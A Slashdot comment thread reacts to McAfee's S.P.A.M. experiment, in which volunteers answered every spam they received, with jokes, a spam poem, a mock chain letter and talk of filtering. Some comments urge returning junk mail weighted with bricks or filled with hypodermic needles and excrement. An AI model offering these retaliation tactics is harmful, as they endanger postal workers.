      I don't think any email service would actually deliver ALL the spam mails anyway. Even the worst ones have at least some cheap filter sorting out half of it.

    9. Re:Worth the cost? by Anonymous Coward · · Score: 0

      RTFA: It's only 30 days.

    10. Re:Worth the cost? by LilGuy · · Score: 1

      I like how it's really obvious that the people with mod points didn't read the article either.

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    11. Re:Worth the cost? by hedwards · · Score: 1

      70 per day is a pretty low number. Right now I've got an account which gets thousands of spam emails a week. In the last 2 days, it's received nearly 400 spam messages into the spam folder. And that's fairly typical. It sometimes will jump up to double that for periods.

      There's no way that I could respond to that many emails even if I wanted to.

    12. Re:Worth the cost? by Anonymous Coward · · Score: 0

      I'm not sure how you got your paycheck math to work like that, but I sure wish mine did. If you work $6 an hour for two forty hour weeks, that comes to $480. Take out the 20 to 25 percent for taxes, and you're left with around $370. And then there's still time and money spent getting to and from work, as well as extra time and/or money spent on lunch. And that's all ignoring the fact that most $6 jobs suck. And of course your innacuracy on the duration of the test, as pointed out by other posters.

    13. Re:Worth the cost? by Anonymous Coward · · Score: 0

      Likewise on my Yahoo account. And as a result, I've switched from Yahoo to Gmail.

    14. Re:Worth the cost? by Anonymous Coward · · Score: 0

      He found the Internet on AdultFriendFinder and they hooked up, what's the big deal? Condoms work for me, Linux works for him.

    15. Re:Worth the cost? by Anonymous Coward · · Score: 0

      You meant meant.

      No, you ment ment meant.

  12. sounds familiar...oh yeah I remember now! by ObjetDart · · Score: 5, Informative

    Reminds of this great poem from years ago:

    http://www.satirewire.com/features/poetry_spam/01free_winner.shtml

    I Answered All My Spam

    I never know what I might find,
    on any day I go online.
    I used to get in quite a huff,
    while wading through unwanted stuff.
    But then I changed the man I am,
    the day I answered all my spam.

    Now every time I check my box,
    I load up on fantastic stocks.
    I'll gladly say I felt no loss,
    when, with a smile, I fired my boss.
    With just one click, the best thing yet,
    I freed myself of all my debt.

    I have, paying a few small fees,
    ten university degrees.
    Now that I'm losing all this weight,
    I'm sure, someday, I'll get a date.
    Instead of going to a show,
    I spy on everyone I know.
    (That's easy, since I have in hand,
    this nifty wireless video cam.)

    I spend my evenings viewing screens,
    of barely legal horny teens.
    And with a little credit charge,
    Whoopee! My penis was enlarged!
    Meanwhile these shots of Britney Spears
    should be enough to last for years.

    And so I lead this online life,
    my monitor is now my wife.
    It has become my greatest dream,
    to launch my own get-rich-quick scheme.
    And if you think you might get missed,
    relax, you're on my e-mail list.

    --
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    1. Re:sounds familiar...oh yeah I remember now! by Jason+Levine · · Score: 1

      That reminds me of a comic strip I once saw online titled "If all spam came true." It had various characters experiencing the wonders of spam come true with the last character looking down his pants and exclaiming "HEY!" Alas, I've since lost track of where I saw that comic. If anyone happens to know what comic that was and where to find it, I'd appreciate the pointer. (Google searches seem to lead nowhere due to so many results for "spam.")

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  13. Irony by Ioldanach · · Score: 4, Informative

    Too bad it won't let me read page two of the article because it first starts by trying to ask me to complete a survey about their site then starts redirecting me elsewhere. I think that qualifies as irony.

    1. Re:Irony by squiggly12 · · Score: 0

      I had that happen as well. It refreshed to a text version. I then refreshed the page, it came back with no "Please tell us how bad we are doing" survey.

    2. Re:Irony by Anonymous Coward · · Score: 0

      FTFA -

      "I was horrified," says Mooney, a realtor by profession. "It's all snake oil. I'm amazed at what true junk is out there

      That qualifies as irony. Or is it pots calling the kettle black? Too many metaphors... overload...

    3. Re:Irony by Bonobo_Unknown · · Score: 1

      I think the word you're looking for is hypocrisy!

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    4. Re:Irony by AaronLawrence · · Score: 2, Funny

      It was a typical annoying survey too, many dozens of questions on incredibly vague topics like "Would you rate our site [that I visited once for 2 minutes] as one of the most trustworthy on the web for information about IT?"

      Naturally I clicked through it randomly, except for answering that I'm responsible for "More than $1 billion in IT purchases"....

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      For every expert, there is an equal and opposite expert. - Arthur C. Clarke
  14. Wow, really shows who spam is coined at by Nichotin · · Score: 4, Interesting

    Sentences like this sort of nails it: "It's all snake oil. I'm amazed at what true junk is out there when you're clicking through on e-mail."
    It tells a sad tale about the people these spam messages are targeted at. You really don't have to be computer literate to figure out that all this is pure crap. Judging by the dumploads of messages that hits my spam filter every day there must be too many fools with computers and internet access waiting to be parted from their money. Some times I wonder if I should start spamming, we really don't have harsh sentences in Norway...

    On a slightly offtopic note, she looks kinda M.I.L.F.!

    1. Re:Wow, really shows who spam is coined at by RabidMoose · · Score: 5, Funny

      Are you saying you want to put your "spam" in her "inbox"?

    2. Re:Wow, really shows who spam is coined at by AndreR · · Score: 5, Funny

      On a slightly offtopic note, she looks kinda M.I.L.F.!

      Oh oh, you just doubled the number of connection requests per second for networkworld.com.

    3. Re:Wow, really shows who spam is coined at by Anonymous Coward · · Score: 4, Funny

      On a slightly offtopic note, she looks kinda M.I.L.F.!

      That sound you're now hearing is half the Slashdot community clicking to actually "read" the article!

    4. Re:Wow, really shows who spam is coined at by Bugs42 · · Score: 1

      That's it! You've found the secret to finally get /.ers to actually RTFA!
      Hey, submitters! Be sure to include something in the summary about hot women in the article from now on. Maybe insinuate it's Natalie Portman if you really want to be sure they'll click.

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    5. Re:Wow, really shows who spam is coined at by Kneo24 · · Score: 1

      I think I saw her in a porn once, and then got spam from the website!

    6. Re:Wow, really shows who spam is coined at by Anonymous Coward · · Score: 0

      Maybe insinuate it's Natalie Portman if you really want to be sure they'll click.

      Linky??

    7. Re:Wow, really shows who spam is coined at by Anonymous Coward · · Score: 0

      M.I.L.F.?

      Damn it! Now I have to RTFA.

    8. Re:Wow, really shows who spam is coined at by Anonymous Coward · · Score: 0

      Are you saying you are a "stupid" "moron?"

    9. Re:Wow, really shows who spam is coined at by florescent_beige · · Score: 1

      Hahahaha yeah I bet she's a real goer I bet she is oooooo her "inbox" that's good mmmmmm yeah "spam" in her "inbox" I bet she's a real goer she is.

      Yeah...

      So what's it like?

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    10. Re:Wow, really shows who spam is coined at by florescent_beige · · Score: 1

      Most of us just have to ctrl-tab and there's all the milf's we could ever need.

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    11. Re:Wow, really shows who spam is coined at by sa1lnr · · Score: 1

      "On a slightly offtopic note, she looks kinda M.I.L.F.!"

      Damn you, that made me click on the article link.

      Plus, she looks like a young babe to me. ;)

    12. Re:Wow, really shows who spam is coined at by Insightfill · · Score: 1

      On a slightly offtopic note, she looks kinda M.I.L.F.!

      I think that's the journalist, Ellen Messmer. Not that I'd disagree with the sentiment, but I don't think that's the mom from the story. She COULD be the MILF from Naperville, but the picture type and placement makes me think it's the journalist; I couldn't find any other pictures of her on the Internet, though.

      Although come to think of it, I live in the Naperville area, and I can assure you that the town is full of moms with personal trainers at the gym, weekly trips to Whole Foods, spa treatment ever few weeks, etc. A lifestyle like that tends to encourage MILF-ism.

  15. A better address to use ... by khasim · · Score: 4, Interesting

    ... would the address of your local waste recycling center.

    Electronic spam is bad because the sender pays almost nothing (just bounces it through zombies).

    But if the spammer is paying for PAPER to be delivered ... send more! Drive up their costs and drive them out of business.

    1. Re:A better address to use ... by camperdave · · Score: 5, Funny

      I love getting pre-paid business return envelopes in my mail. That way I can just send all the stuff that they send me right back to them. They pay to send it to me, and they pay to get it all back from me.

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    2. Re:A better address to use ... by tomhudson · · Score: 5, Funny

      I love getting pre-paid business return envelopes in my mail. That way I can just send all the stuff that they send me right back to them. They pay to send it to me, and they pay to get it all back from me.

      If it's from a spammer, do us all a favour - tape it to a box containing a cinder-block.

    3. Re:A better address to use ... by geekoid · · Score: 0, Offtopic

      Grow up.

      Spam is not that big of a deal. Any decent filter catches most of it,the rest is an easy delete.

      God, get a life.

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    4. Re:A better address to use ... by tanner_andrews · · Score: 1

      They pay to send it to me, and they pay to get it all back from me.

      A few years ago, I had the office supply make me a rubber stamp that said ``delete from mailing list'' in fairly large letters. When I get something business-replyable, I make sure to use the stamp before I send it back to them.

      There are a lot of clueless advertisers out there. Credit card companies ought to be able to afford a clue, too, considering the interest rates that they propose to charge.

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    5. Re:A better address to use ... by AceofSpades19 · · Score: 0

      because spam doesn't waste any resources what so ever

    6. Re:A better address to use ... by Kneo24 · · Score: 3, Funny

      This is God. And no, I won't get a life. You try living for eons upon eons and entertaining yourself. Go ahead, do it!

    7. Re:A better address to use ... by pbhj · · Score: 0, Redundant

      They pay to send it to me, and they pay to get it all back from me.

      Don't forget to tape the reply envelope to a brick before you mail it back.

    8. Re:A better address to use ... by cp.tar · · Score: 1

      I love getting pre-paid business return envelopes in my mail. That way I can just send all the stuff that they send me right back to them. They pay to send it to me, and they pay to get it all back from me.

      I think it was on bash.org... anyway, some guy sent back a credit card company's spam back to them, along with a bunch of pennies, so they had to pay postage as it surpassed the weight limit.
      When they called him back, he demanded the money back, and finally got a cheque for 30-something pennies.

      I find it a recommendable method. Annoy them, make them spend both time and money on a clearly unprofitable venture -- and they may stop.

      Pity it doesn't work for e-mail spam.

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    9. Re:A better address to use ... by Eunuchswear · · Score: 1

      Back in the old days when Nigerian 419 stuff asked for fax & phone numbers I'd give them the numbers of the police department.

      Oddly enough I could never find the fax number for the fraud squad, so I used the number for the dog squad instead.

      "please send account number to recived $ 1 000 000 dollers US" ,,, WOOF! WOOF!

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    10. Re:A better address to use ... by thewils · · Score: 1

      If you only get one envelope, returning stuff is all you can do. If you get more than one, you can

      a) return all junk to the one you het the most or
      b) do a switcheroo and return junk to the wrong place

      Or you can wait a month or two, then return it. Hopefully the mailing cost center will be closed by then and it'll cause them more aggravation.

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    11. Re:A better address to use ... by vitamine73 · · Score: 1

      double your fun: put the crap from snailmail spammer A in snailmail spammer's B pre-paid envelope, and vice-versa.

    12. Re:A better address to use ... by edremy · · Score: 2, Insightful
      Umm, you don't work in IT, do you?

      Something like 97% of *all* email received at my college is dumped by Barracuda even before it hits our system. That's an enormous drain on our network for *zero* value to us, not to mention the cost of the email blocker, cost of personnel to maintain it, cost of the time needed to fix false positives and of course the time to deal with the FBI when a child porn spam sneaks through and one of your professors calls them directly. (No, I'm not joking about the latter)

      I suspect that you have no real idea of the scale of spam since your ISP is probably blocking the vast majority of it for you. That service isn't free- you're paying for it.

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    13. Re:A better address to use ... by supernova_hq · · Score: 1

      When they pay for it to go back, they actually pay by the weight, so go out back and bet a few small steel plates and add them to the envelope!

    14. Re:A better address to use ... by Anonymous Coward · · Score: 0

      Paper is great. It's worth about 0.04 euro per kg. I already wondered if I should make a living from that. ;)

    15. Re:A better address to use ... by Anonymous Coward · · Score: 0

      Send something interesting back to them. Something disgusting: used condoms, some used tampons, and a hypodermic needle or two.

    16. Re:A better address to use ... by Anonymous Coward · · Score: 0

      I remember reading somewhere of this bloke that inserted thin strips of lead inside those envelopes so the weight would make the mailing really expensive. He said it helped him stop receiving junk mail

    17. Re:A better address to use ... by theheadlessrabbit · · Score: 1

      if the spammer is paying for PAPER to be delivered ... send more! Drive up their costs and drive them out of business.

      i just take my junk mail and drop it back into the mail box. let the post office pay to dispose of it. they are the ones delivering it in the first place, let them deal with it.

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    18. Re:A better address to use ... by Rocketship+Underpant · · Score: 1

      I read a real story some time back about someone who would save all his junk mail (even unrelated stuff) and return it in pre-paid envelopes.

      And there was another guy who'd literally glue those pre-paid envelopes onto bricks and drop them in the mailbox. Supposedly that can actually work, and the recipient pays for the cost of mailing a brick.

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    19. Re:A better address to use ... by Anonymous Coward · · Score: 0

      That's silly, they already have copies of their spam. Send them other spammers mail!

    20. Re:A better address to use ... by Paperweight · · Score: 1

      Eventually they'll be dropping off junk mail by the truckload! The junk mailers pay for it in their postage! The junk mail deliveries will grow exponentially! EXPONENTIALLY! One could make so much money doing this! :) Plus it would make a killer blog!

    21. Re:A better address to use ... by myspace-cn · · Score: 1

      600-900 messages a second does.

    22. Re:A better address to use ... by Overzeetop · · Score: 1

      Not anymore (in the US at least). Anything more than 13 oz must be hand delivered to a post office...just in case you're mailing a bomb.

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    23. Re:A better address to use ... by Anonymous Coward · · Score: 0

      Or, in order to actually get it to be mailed back (I've done this), return it with not only the junk they sent you, but fill the envelope with dirt or (if you have some handy), washers, nails, or other heavy items that will fit in the envelope. Include a nice card in the front that says "Thank you so much for sending me crap I don't want. I hope this cost you a whole lot to have mailed back. Please remove me from your mailings unless you like spending this much on return postage.

      I've heard some friends suggest using actual crap, and saying "Thanks for sending me so much crap. I felt it only fair that I should send you some fresh crap, too. Enjoy!"

      Trust me... the snailmail spam will slowly disappear (at least they will stop sending self addressed envelopes with the mail...)

    24. Re:A better address to use ... by NeuroManson · · Score: 1

      That could backfire badly, people are even more willing to sign up/pay for stuff they hear about from the mailbox (eg: "Oh, they couldn't possibly be lying about time shares, they sent me a "certified" letter! And I could win a truck!"). They made a fortune with those kind of offers back in the 80s and 90s. At least the electronic spam has half a chance of being blocked by the ISP. The post orifice will pretty much deliver anything you hand them.

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  16. The next mail chain wave by Van+Cutter+Romney · · Score: 4, Funny

    I can just see it coming ...


    To all of my friends, I do not usually forward messages, But this is from my good friend Pearlas Sandborn and she really is an attorney.

    If she says that this will work - It will work. After all, What have you got to lose? SORRY EVERYBODY.. JUST HAD TO TAKE THE CHANCE!!! I'm an attorney, And I know the law. This thing is for real. Rest assured McAfee will follow through with their promises for this S.P.A.M. test mail.

    Dear Friends; Please do not take this for a junk letter. If you ignore this, You will repent later. McAfee is now the largest anti-virus software company and in an effort to make sure that their product remains the most widely used program, they are running an e-mail beta test.

    When you forward this e-mail to friends, McAfee can and will track it ( If you are a Microsoft Windows user) For a two weeks time period.

    For every person that you forward this e-mail to, McAfee will pay you $245.00 For every person that you sent it to that forwards it on, McAfee will pay you $243.00 and for every third person that receives it, You will be paid $241.00. Within two weeks, McAfee will contact you for your address and then send you a check.

    I thought this was a scam myself, But two weeks after receiving this e-mail and forwarding it on. McAfee contacted me for my address and within days, I receive a check for $2,500.00. You need to respond before the beta testing is over.

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    1. Re:The next mail chain wave by i'm+lost · · Score: 2, Interesting

      How does 245x + 243y + 241z = 2500, when x, y, and z are all positive integers?

    2. Re:The next mail chain wave by Van+Cutter+Romney · · Score: 1

      Only the SMTP headers went out...

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    3. Re:The next mail chain wave by corbettw · · Score: 2, Interesting

      Taxes.

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    4. Re:The next mail chain wave by Anonymous Coward · · Score: 0

      Sent!

  17. I'm shocked. SHOCKED that spam is a scam! by spirit_fingers · · Score: 5, Insightful

    I think her reaction to her spam is classic: "I was horrified," says Mooney, a realtor by profession. "It's all snake oil. I'm amazed at what true junk is out there when you're clicking through on e-mail."

    Spammers love people like her--people so insulated by American corporate media that they think the internet is just another shopping mall. And what could possibly go wrong in a mall? God bless her.

    1. Re:I'm shocked. SHOCKED that spam is a scam! by AMuse · · Score: 2, Interesting

      I also find it amusing as hell that she's a realtor by profession. I realize that a realtor can be helpful in an individual real estate transaction (mine sure was, recently) but AS A WHOLE I find their entire profession to be a leech on society, driving up housing values by 6% and engaging in incredibly anticompetitive behavior to try to keep the "Realtors' monopoly" on real estate transactions.

      Her calling SPAM "snake oil" strikes me as vaguely ironic, considering her profession.

    2. Re:I'm shocked. SHOCKED that spam is a scam! by NeuroManson · · Score: 1

      "And what could possibly go wrong in a mall?"

      Just like on a Windows PC, you get zombies.

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  18. more irony by globaljustin · · Score: 4, Interesting

    My first reaction to the story was, "Good PR stunt...otherwise pointless"...until I RTFA and found this quote from the Naperville soccer mom regarding what she found in her in-box:

    "It's all snake oil. I'm amazed at what true junk is out there when you're clicking through on e-mail."

    Apparently people are less informed about spam than I thought, and this little one month 'contest' really is raising awareness and educating people...

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    1. Re:more irony by joNDoty · · Score: 4, Funny

      Also shocking:

      "'It grew exponentially, so I stopped giving out my home address,' she says, adding, 'I am concerned about the environment.'"

      She gave our her home address.

    2. Re:more irony by jacquesm · · Score: 3, Funny

      there is a bofh joke in there somewhere...

    3. Re:more irony by slimjim8094 · · Score: 1

      Wait... is she talking about some V1@GR@ scam here?

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    4. Re:more irony by Anonymous Coward · · Score: 0

      I would have given them my best friend's address.

    5. Re:more irony by shellbeach · · Score: 5, Insightful

      She gave our her home address.

      Yeah, that scared me too. I would have thought McAfee had a duty of care to prevent the participant doing something like that.

      Giving a real, existing address to the scum of the earth can't be good for your health. Why didn't they set her up a PO Box or something?

      Incidentally, the other worrying thing was this quote:

      Overall, the most obvious result of the S.P.A.M. experiment was that the PC that McAfee had provided for the project noticeably slowed down, clogged up with spyware, Mooney says.

      I really hope there was some sort of firewall running on that machine ...

    6. Re:more irony by Anonymous Coward · · Score: 0

      What? 127.0.0.1?

    7. Re:more irony by GunFodder · · Score: 3, Funny

      I would have given them my former best friend's address.

      fixed that for you...

    8. Re:more irony by quanticle · · Score: 1

      I don't think so. TFA mentioned that the PC became noticeably slower as it was bogged down by spyware.

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    9. Re:more irony by Anonymous Coward · · Score: 0

      Yeah. He just quoted that part.

    10. Re:more irony by TheLink · · Score: 4, Informative

      "Apparently people are less informed about spam than I thought,"

      Is it really to do about being informed or not?

      Just check out a typical spam:
      1) From address - fake
      2) Subject line often has nothing to do with the content or is nonsensical
      3) Much of the content after the "sell" is often nothing to do with the spammer's sell line.
      4) Sometimes even the dates are forged
      5) The headers are often forged (but nobody really looks)

      So who buys? Someone who is willing to give out money to someone who is telling them > 90% lies or garbage.

      AFAIK even politicians tell the truth more than 10% of the time.

      I guess some of the spam is due to stupid PHBs who pay spammers money to send out spam to sell stuff. So even if it doesn't work they don't know for sure. A bit like advertising - you never know how much of it really works.

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    11. Re:more irony by cbiltcliffe · · Score: 1

      I really hope there was some sort of firewall running on that machine ...

      Of course....it was probably running McAfee Internet Security.....

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    12. Re:more irony by eclectic4 · · Score: 2, Insightful

      "A bit like advertising - you never know how much of it really works."

      Actually, you can monitor and record the effectiveness of advertising quite well. There are entire businesses whose sole purpose is to show the market research to prove this and has for decades. The very large marketing firm I used to work for wouldn't have sold advert #2 if they hadn't proved that advert #1 increased sales.

      I'm sorry, but your statement regarding this is utterly wrong. If it was that vague, or if you completely discount the ability to sway the minds of customers through advertisement then the entire industry would be a wash.

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    13. Re:more irony by kalirion · · Score: 1

      Many firewall default settings wouldn't prevent a spyware installed through a user clicking "OK", or through a browser vulnerability, from dialing out.

    14. Re:more irony by halcyon1234 · · Score: 1

      A bit like advertising - you never know how much of it really works.

      Actually, you usually know exactly what percentage of your advertising works. You'll know that 50% of your adverts work.

      But you won't know which 50%...

    15. Re:more irony by globaljustin · · Score: 1

      I don't really understand what you were saying in your post (were you agreeing that the level of ignorance about spam is surprising?), but I love the link in your sig...

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  19. networkworld.com vs FF3 by legenerationlazi · · Score: 1

    Anyone have networkworld.com crash FF3 repeatedly? I couldn't even get through the first page =/

    1. Re:networkworld.com vs FF3 by h3 · · Score: 1

      Yup, same here. First time Firefox3 has crashed on me (outside of a few flash related hangs).

    2. Re:networkworld.com vs FF3 by kvezach · · Score: 3, Funny

      Anyone have networkworld.com crash FF3 repeatedly?

      Yeah, Kefka got pretty mad.

    3. Re:networkworld.com vs FF3 by Darkness404 · · Score: 0, Offtopic

      Yeah, Kefka got pretty mad.



      Ummm.. Kefka is in Final Fantasy VI, which hasn't been called Final Fantasy III since 1994 for the US SNES release.

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    4. Re:networkworld.com vs FF3 by LilGuy · · Score: 1

      No but NoScript and ABP were waging war with the server. Eventually they won, but the server put up quite a struggle. It only took the page about 2 minutes to load improperly, and then another 45 seconds for the style sheets to be put in place.

      These guys are a joke.

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    5. Re:networkworld.com vs FF3 by Anonymous Coward · · Score: 0

      Yeah, Kefka got pretty mad.

      Ummm.. Kefka is in Final Fantasy VI, which hasn't been called Final Fantasy III since 1994 for the US SNES release.

      I called it Final Fantasy III until some nerd corrected me!

    6. Re:networkworld.com vs FF3 by Annymouse+Cowherd · · Score: 1

      No. Slashdot was waging war with their servers.

  20. Slowdowns by Darkness404 · · Score: 3, Informative

    I wonder, if they ever compared the speed of a clean install of Windows with an anti-virus to a malware messed up install of Windows and see how fast they were. In most cases I find that the anti-virus computer is slower then the one with a ton of viruses!!! And this being McAfee, I don't think that they would worry about slowdowns much (can't read TFA it doesn't want to load or is Slashdotted) because it seems that any computer with McAfee/Norton/any other commercial AV, is slow, really slow. Even on XP with newer hardware it still is slow.

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    1. Re:Slowdowns by LilGuy · · Score: 1

      That's exactly why I run AV manually... about once a month. I noticed that if I let the services run in the background while I try to play any games I get random framerate drops and all kinds of other weird happenings.

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    2. Re:Slowdowns by commodore73 · · Score: 1

      I agree that McAfee and Symantec both really slow down a PC, and I've worked for both of those vendors. I don't think ESET NOD32 makes my computer significantly slower, though you have to turn off the annoyances (outlook rescan and toolbar, splash screen, other junk). I am not sure about TrendMicro.

    3. Re:Slowdowns by Anonymous Coward · · Score: 0

      Try Antivir. I've been using it for years and I haven't noticed any slowdowns, not even with the on-access scanner enabled. Because frankly if you have a dozen virusses, you've got other things to worry about besides slowdowns.

    4. Re:Slowdowns by Anonymous Coward · · Score: 0

      I'm sure they know very well what their software does for the performance of a computer without comparing.

      Try compiling a very very large piece of software with all the scan features on i'm sure the developers know at least and short of testing and working on don't use.

      I've always found the cure worse than the problem. At least malware tries to keep a low profile (unless its trying to take over your browser).

    5. Re:Slowdowns by Darkness404 · · Score: 1

      Actually, I moved to Linux a while ago. So that's no big deal for me, but of course being the geek I have to fix family and friends computers (and oddly enough they reject my idea that they should just format their HD and install a real OS)

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    6. Re:Slowdowns by Zerimar · · Score: 1

      Agreed, anti-virus, anti-malware and firewall software is more responsible for the "slowness" of Windows than anything else out there. I bought a Dell Laptop with 2GB of RAM, 1.66Ghz Core2 and I was surprised how quick Vista was on a clean install. Installed Trend Micro antivirus and there went that speed. It's a Gentoo box now, but my Gentoo install, which is pretty minimal by design, isn't a whole heck of lot quicker than Vista was all things considered. Other stupid things that slow Windows down are the "speed launchers" that apps silently install in the background. Adobe Acrobat and Sun Java, I'm looking at you!

    7. Re:Slowdowns by myspace-cn · · Score: 1

      You don't need antivirus, you need ztree, and the ability to find process's running. Sometimes a little regedit doesn't hurt.

    8. Re:Slowdowns by Anonymous Coward · · Score: 0

      In most cases I find that the anti-virus computer is slower then the one with a ton of viruses!!!

      I doubt that. I'm not exposed to many malware-ridden boxes but, on the few I've seen, they become unusable. Contrast that to the many boxes I've seen using anti-virus software - all of them were quite usable.

      One malware example was amazing. This thing was loaded with every type of malware you could think of, multiple times. I think it qualifies as "one with a ton of viruses!!!".
      - Booting a clean install to its stable state took about 2 minutes.
      - Prior to the clean install, it never went stable. To be fair, I never let it finish - but 8 hours was enough for me to assume that it would never be stable.

  21. Slow Server! by FudRucker · · Score: 4, Informative

    [Article Text]

    For Tracy Mooney, a married mother of three in Naperville, Ill., the decision to abandon cyber-sense and invite e-mail spam into her life for a month by participating in a McAfee experiment was a bit of a lark.

    The idea of the Spammed Persistently All Month (S.P.A.M.) experiment which fittingly started on April Fool's Day was to have 50 volunteers from around the world answer every spam message and pop-up ad on their PC.

    What would be the experience in 10 countries when everyday people, armed with a PC and e-mail account McAfee provided for the Global S.P.A.M. Diaries project, clicked through the spam and chronicled the results?

    Mooney who had observed the family's PC crippled just before Christmas by a virus was game, especially because McAfee was giving a free PC to all participants. She was selected to be among the 50 volunteers picked by McAfee out of 2,000 people who applied to be part of the adventure.

    By the time it was all over, after every bank-account phishing scam, Nigerian bank scheme, and offer for medication, adult content and just plain free stuff had been pursued. "I was horrified," says Mooney, a realtor by profession. "It's all snake oil. I'm amazed at what true junk is out there when you're clicking through on e-mail."

    McAfee is releasing the results Tuesday of its free-wheeling month-long S.P.A.M. experiment, done largely to illustrate if you didn't know already how spam is connected to malware and criminal activity, not to mention some of the slimiest marketing ever devised.

    Each S.P.A.M. volunteer saw an average of 70 spam messages arrive in their in-box each day, with men receiving about 15 more per day than women. That was a lot to answer, but "Penelope Retch" the alias that Mooney chose for her S.P.A.M. adventure answered every single message.

    In her guise as Penelope Retch, Mooney answered the e-mail that came into her account. "I'd see an interactive spam, open it, click on it and asked to be removed. That would only make it worse," she says. "They'd say 'no.'"

    Whether trying to win an iPod online, get free travel brochures, weight-loss tea or Maybelline eyeliner, the effect of entering a home address was extreme. Immediately, a deluge of mail landed at her doorstep, directed to the attention of Penelope Retch.

    "One of the mail offers I got was a $7,500 credit card for Penelope Retch," Mooney says, noting that the sudden upsurge in junk mail left the neighborhood postman somewhat aghast. "It grew exponentially, so I stopped giving out my home address," she says, adding, "I am concerned about the environment."

    Mooney clicked through on the phishing e-mails for fake Wells Fargo and other bank sites, sat back as the supposed government of Nigeria sought to give her an inheritance, and watched a foreign IP address go after a dummy PayPal account that had been set up as part of the S.P.A.M. experiment.

    Overall, the most obvious result of the S.P.A.M. experiment was that the PC that McAfee had provided for the project noticeably slowed down, clogged up with spyware, Mooney says.

    According to McAfee, which selected five participants from each of 10 countries for the S.P.A.M. experiment, the five U.S. participants received the most spam: 23,233 messages over the course of the month.

    Brazil and Italy were in the 15,000-plus category, and Mexico and United Kingdom above 10,000. Australia, The Netherlands and Spain were in the 5,000 to 9,000-plus spam range. The S.P.A.M. volunteers in France and Germany got the least, less than 3,000 for the month. McAfee didn't even include what it calls "grey mail" (e-mail that arrived after participants signed up for a newsletter, for example) in this count.

    Phishing e-mail accounted for 22% of the spam received by the Italian volunteers and 18% of the U.S. ones. In general, spam appears to still largely be delivered in English; French- and German-language spam were the only non-English spam to amo

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    1. Re:Slow Server! by tomhudson · · Score: 4, Interesting

      McAfee is releasing the results Tuesday of its free-wheeling month-long S.P.A.M. experiment, done largely to illustrate if you didn't know already how spam is connected to malware and criminal activity, not to mention some of the slimiest marketing ever devised.

      Sounds like the pot calling the kettle black. The woman doing the surfing is a "realtor", (they're now more commonly known as realtwhores, not "realtors" or "real estate agents"), and anti-virus vendors are helping continue the Windows near-monopoly. They need Microsoft, and Microsoft needs them. One of them (Symantec) sent me I don't know how many spams offering to protect my "Windows PC" - to which I replied "What Windows PC, you f*ckheads - stop spamming me!" They didn't. I ended up abandoning the account.

    2. Re:Slow Server! by Anonymous Coward · · Score: 0

      "In general, spam appears to still largely be delivered in English; French- and German-language spam were the only non-English spam to amount to more than 10% of spam received by the participants in France and Germany respectively."

      OMG Why is more than half of the spam i get in japanese then? is it cuz i bought stuff from j-list?!?!

  22. English rules by grizdog · · Score: 3, Interesting
    The article mentioned that far the majority of spam, even to countries where the official language is not English, was in English.


    There are lots of ways to interpret this, including that English speakers are idiots, but whatever else the spammers aren't being politically correct. They're using English because that is the way to reach people, and for the most part it doesn't pay to translate the same message into another language, even though that can't be very expensive.

    1. Re:English rules by night_flyer · · Score: 1

      or the most plausable answer... the machines were zombies, just spitting out whatever spam the zombie master wanted

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    2. Re:English rules by geekoid · · Score: 1

      Probably becasue we are the wealthiest country..or were 8 years ago.

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    3. Re:English rules by abirdman · · Score: 4, Funny

      Some is untranslatable. How do you spell \/!/\G3RRRA in German?

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    4. Re:English rules by Anonymous Coward · · Score: 0

      including that English speakers are idiots

      Two words: "Red States"

    5. Re:English rules by ceoyoyo · · Score: 2, Funny

      Pretty much the same way, actually. Except when you speak it you spit a little on the r's.

      Translating to Spanish and Indian you roll the r's.

    6. Re:English rules by crossmr · · Score: 1

      Its interesting because I expect the primary language of most of the spammers isn't English..

    7. Re:English rules by anerki · · Score: 1

      Der \/!/\G3RRRA

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    8. Re:English rules by Anonymous Coward · · Score: 0

      Uh, even for countries where English is not the official language, the population often learns English.

      If you want to have a successful country then English is the language for trade.

      English is like a bridging language for all countries. Everybody learns it so they can talk to each other. I see this all the time. I do a lot of international contract work and very often the common language is English. You will have some German company doing work for a Greek company even though they both have different "official" languages, they use English as a common bridge.

  23. The spammers are getting conned. by Anonymous Coward · · Score: 0

    Judging by the dumploads of messages that hits my spam filter every day there must be too many fools with computers and internet access waiting to be parted from their money.

    Yeah, the spammers. You see, the folks making the money now are the folks selling the software and computers to spammers. So,it's really folks who think they can make easy money spamming.

    I actually talked to a little old lady. She asked me why she was still getting these messages stating that she won a drawing based on a random selection of her email after deleting it from her inbox. She thought there was something wrong with her email client. I told her what was up. Long story short, she knew it was a scam. So, maybe one in a billion believes that shit.

  24. She must be very patient by Haoie · · Score: 1

    I think many/most of us groan at the very thought of more junky emails in the inbox.

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  25. Point: "Reply" doesn't mean "Hit the reply button" by RexDevious · · Score: 1

    The "From" and "Reply To" fields of spam are invariably fake, or spoofed. If two people use a program like BoxTrap, and one of them gets a spam using the other's email address, they'll either automatically white list each other, or create an endless challenge response loop.

    I wrote a program which replies to all suspected spam (modified challenge-response), and the only thing that happened was I got my webhost black listed and they temporarily suspended the account. I dropped it to 2 accounts, and reset the chron job to run every 5 minutes instead of every 1 minute, and there hasn't been a problem since.

    Though looking at the spam trap, I am still getting a good 400 spams a day. The only way I've found to reduce it is to send a bounce *and* a challenge response. Spammers will knock off bounces, but real people will ignore them if there's also a challenge response. But I haven't taken the time to figure out how to do that with PHP on a reseller account yet.

  26. Please don't by XanC · · Score: 5, Informative

    It sounds like you send an enormous amount of backscatter, and are probably doing much more harm than good. It would be much better to simply drop the connection at SMTP time, rather than accepting and then generating a bounce. Or do like I do, and hold their connection open for a long time before actually dropping it.

    1. Re:Please don't by Anonymous Coward · · Score: 0

      It definately does much more harm than good (speaking from personal experience). Backscatter is actually a strategy for sending spam in and of itself (as it effectively bypasses various sender validation methods), and on top of that it makes it harder for the spam filter used by the poor schmuck on the other end to catch it (being that the mail looks like a standard bounce with an attachment).

    2. Re:Please don't by Anonymous Coward · · Score: 0

      IAAAOALES (I Am An Administrator Of An Legitimate Email Sender)

      Or do like I do, and hold their connection open for a long time before actually dropping it.

      I understand the rationale for doing so, but please understand that this is extremely irritating for legitimate email senders too. If a user enters the wrong email-address, we would like to know it ASAP. Don't let us hang for minutes, it doesn't help neither of us.

      We run some very active mailing lists (think 5+ million mails each day), and this is actually one of the things that's annoying to the point where we have begun to drop connections to slow mail servers.

    3. Re:Please don't by eric76 · · Score: 1

      It sounds like you send an enormous amount of backscatter [wikipedia.org], and are probably doing much more harm than good.

      No.

      First, the original spam is not encluded in the message. Backscatter involves bouncing the spam back to innocent parties.

